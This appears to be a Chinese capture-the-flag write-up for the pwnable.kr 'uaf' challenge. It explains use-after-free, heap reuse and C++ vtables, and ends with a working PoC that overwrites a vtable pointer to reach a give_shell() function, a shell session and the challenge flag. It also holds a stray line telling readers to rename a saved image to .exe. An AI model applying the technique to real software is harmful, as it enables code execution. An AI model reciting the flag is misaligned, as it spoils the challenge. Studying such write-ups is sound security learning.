pwnable.kr之uaf

#include 
#include  
#include 
#include 
#include 
using namespace std;

class Human{
private:
    virtual void give_shell(){
        system("/bin/sh");
    }
protected:
    int age;
    string name;
public:
    virtual void introduce(){
        cout << "My name is " << name << endl;
        cout << "I am " << age << " years old" << endl;
    }
};

class Man: public Human{
public:
    Man(string name, int age){
        this->name = name;
        this->age = age;
        }
        virtual void introduce(){
        Human::introduce();
                cout << "I am a nice guy!" << endl;
        }
};

class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};

int main(int argc, char* argv[]){
    Human* m = new Man("Jack", 25);
    Human* w = new Woman("Jill", 21);

    size_t len;
    char* data;
    unsigned int op;
    while(1){
        cout << "1. use\n2. after\n3. free\n";
        cin >> op;

        switch(op){
            case 1:
                m->introduce();
                w->introduce();
                break;
            case 2:
                len = atoi(argv[1]);
                data = new char[len];
                read(open(argv[2], O_RDONLY), data, len);
                cout << "your data is allocated" << endl;
                break;
            case 3:
                delete m;
                delete w;
                break;
            default:
                break;
        }
    }

    return 0;   
}

考点:

1.UAF(use after free)

分配的内存释放后,指针没有因为内存释放而变为NULL,而是继续指向已经释放的内存。攻击者可以利用这个指针对内存进行读写。详细的可以自行查找资料,笔者也是刚刚接触,有些还是不太理解。

uaf漏洞分析基础知识补充
引用一段被释放的内存可导致程序崩溃,或处理非预期数值,或执行无干指令。使用被释放的内存可带来诸多不利后果,根据具体实例和缺陷发生时机,轻则导致程序合法数据被破坏,重则可执行任意指令。

UAF错误的原因:
(1)导致程序出错和发生异常的各种条件
(2)程序负责释放内存的指令发生混乱
其实简单来说就是因为分配的内存释放后,指针没有因为内存释放而变为NULL,而是继续指向已经释放的内存。攻击者可以利用这个指针对内存进行读写。(这个指针可以称为恶性迷途指针)

UAF漏洞的利用:
(1)先搞出来一个迷途指针
(2)精心构造数据填充被释放的内存区域
(3)再次使用该指针,让填充的数据使eip发生跳转。

2.SLUB

对对象类型没有限制,两个对象只要大小差不多就可以重用同一块内存,而不在乎类型是否相同。样的话,同一个笼子既可以放鸡,又可以放鸭。也就是说我们释放掉sock对象A以后马上再创建对象B,只要A和B大小相同(不在乎B的类型),那么B就极有可能重用A的内存。SLAB差不多,只不过要求类型也要相同。

既然B可以为任意对象类型,那我们当然希望选择一个用起来顺手的对象类型。至少要符合以下2个条件:

1.用户可以控制该对象的大小
2.用户空间可以对该对象写入数据

如果碰巧这块问题内存新分配的数据是比如C++中的类,那这块内存堆对上可能散落着各种函数指针,只要用shellcode的地址覆盖其中一个函数指针,就能够达成执行任意指令。
linux 内核 内存管理 slub算法 (一) 原理

3.C++ delete

为某个内容开辟空间,并设置指向该空间的指针p,delete之后,下次再重新申请的时候可以再申请这块内存地址,也就是将这块地址放到了空闲链表上,对于这块地址的内容,没有进行清空处理(也没有必要);由于你没有将p赋为NULL,所以p指针还是指向这块内存空间。
如果不delete的话,你这块内存是不能在申请使用的,也就是所谓的内存泄露。
对于delete之后的指针p,此时是"野指针"。

4.C++ 虚函数

C++ 虚函数表解析
[交流]关于子类重写父类私有虚函数
虚函数,一旦一个类有虚函数,编译器会为这个类建立一张vtable。子类继承父类(vtable)中所有项,当子类有同名函数时,修改vtable同名函数地址,改为指向子类的函数地址,子类有新的虚函数时,在vtable中添加。记住,私有函数无法继承,但如果私有函数是虚函数,vtable中会有相应的函数地址,所有子类可以通过手段得到父类的虚私有函数。

分析:

笔者第一次对uaf程序的分析,如果有不对或者缺陷的地方,欢迎批评指正。

观察源代码我们可以发现在父类Human中存在一个shell,只要我们能成功跳转到这个就可以得到flag。

观察main函数,new了两个子类,并创建了两个类的指针m、w,然后我们可以进行操作。

由SLUB我们可以知道,在程序delete m、w的时候,m、w指针的内容是不会被delete的,只是在系统表中标注此块区域是空闲的。

那只要我们在m或w所指向的空间写下我们构造好的代码,之后覆盖introduce函数的地址为give_shell的函数地址,这样在调用introduce的时候便能成功获得shell。

我们将pwnable.kr服务器上的uaf文件下载到本地分析

pwnable.kr之uaf_第1张图片
new的时候分配了24字节的空间

观察上图,程序对每个类分配了24字节的空间。这意味着我们需要构造同样大小的空间,系统才有可能给我们分配到之前m、w指向的空间。

pwnable.kr之uaf_第2张图片
v13+8即是introduce的地址

由上图可知,只要我们在文件中写下give_shell的地址-8,之后在1选项调用的时候就会调用到give_shell了


pwnable.kr之uaf_第3张图片

观察Man虚表,give_shell的地址为0x0000000000401570,那么我们在文件中写入的就是'\x68\x15\x40\x00\x00\x00\x00\x00',这样就可以了

对下面的POC解释一下,首先释放掉堆,然后写入内容为give_shell-8的地址2次,依次给的是woman、man,不然在1选项中,先执行的是m->introduce,如果只给woman写的话,那么程序会直接崩溃。


pwnable.kr之uaf_第4张图片

将这个图片保存,修改后缀为.exe

上图是windows上的,可以使用OD结合IDA一起分析,感觉更能直观的展示。


POC:

uaf@ubuntu:~$ python -c 'print "\x68\x15\x40\x00\x00\x00\x00\x00"'>/var/tmp/ccc-uaf
uaf@ubuntu:~$ ./uaf 24 /var/tmp/ccc-uaf 
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
$ cat flag
yay_f1ag_aft3r_pwning

FLAG:

yay_f1ag_aft3r_pwning

你可能感兴趣的:(pwnable.kr之uaf)